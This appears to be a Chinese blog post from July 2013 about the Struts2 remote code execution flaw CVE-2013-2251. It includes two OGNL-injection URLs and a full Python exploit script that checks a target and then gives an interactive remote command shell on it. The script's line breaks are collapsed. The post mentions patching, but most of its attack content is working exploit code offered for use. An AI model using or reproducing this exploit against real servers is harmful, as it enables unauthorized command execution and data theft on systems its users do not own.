7·17中午刚刚午睡醒来就看到几个熟悉字眼——Struts2，远程执行代码。施特！难道继上回<s:a>标签后又新曝一个？本来还没睡醒的一下子清醒了。一看果断，紧接着某云就被刷屏了~~~一场腥风血雨画面即将上演。。。

据报道，受影响版本是2.0.0-2.3.15，CVE编号：CVE-2013-2251。原因是因为参数action的值redirect以及redirectAction没有正确过滤，导致允许***者在访问使用Struts2的应用时远程执行OGNL表达式

漏洞证明：

代码测试：

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

官方已经更新补丁，管理员们速度打上，不然裤子被脱了还不知道。

URL：

下面show下python写的利用工具【图】

用GOOGLE一搜差点没吓尿，再次强烈建议管理今晚加班都要把这修补了！！！晚安

--------------------------更新py脚本代码-----------------------------------------

#!/usr/bin/env python# -*- coding: UTF-8 -*-##--------------------------------------# Struts2 2.0.0 - Struts 2.3.15# CVE-2013-2251#---------------------------------------#Copyright By  ,Terryll right Reserved#author    date    comment#Terry  2013-7-17  Createdimport urllibimport urllib2import reimport sysurl_exp = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"def judge(url):    #判断是否存在该漏洞    if url.endswith(".action") :        try:            url = url + url_exp            #print url            url_request = urllib2.Request(url)                      response = urllib2.urlopen(url_request)            res_html = response.read()            #print res_html[:100]            if res_html.find(">") > 0:                return "Failed"            else:                return "OK"            #print response.func_code        except :            return "ERROR"    else:        return "url error"def get_args(argument):        #    #转化为参数的格式如：'ls','-al'    #    args = argument.split(' ')    args_deal = ''    for i in args:        args_deal = args_deal + "'" + i + "',"    args_deal = args_deal[:-1]    return args_dealdef strip(str):    #    #去除首尾的\x00串    #    tmp = str.strip()    blank_line=re.compile('\x00')    tmp=blank_line.sub('',tmp)    return tmpdef attack(url):    #    #DO IT    #    try:        url_request = urllib2.Request(url)        response = urllib2.urlopen(url_request)        res_html = response.read().strip()        return strip(res_html)    except :        return "ERROR"if __name__ == '__main__':           if len(sys.argv) > 1:        #print get_url("ls -al")        if judge(sys.argv[1]) == "OK":            print "Success"            pattern = re.compile(r'http[s]?://([\w\W]*?)/')                      url = sys.argv[1] + url_exp            hostname = pattern.findall(url)            #print hostname[0]            loop = 1            while loop:                string = raw_input(hostname[0] + " >")                                   if string.startswith("exit"):                    break                    loop=0                if len(string) > 0:                    url_ = url.replace("'whoami'",get_args(string))                    #print url_                    print attack(url_)        else:            print "Failed"    else:        print("No argument!")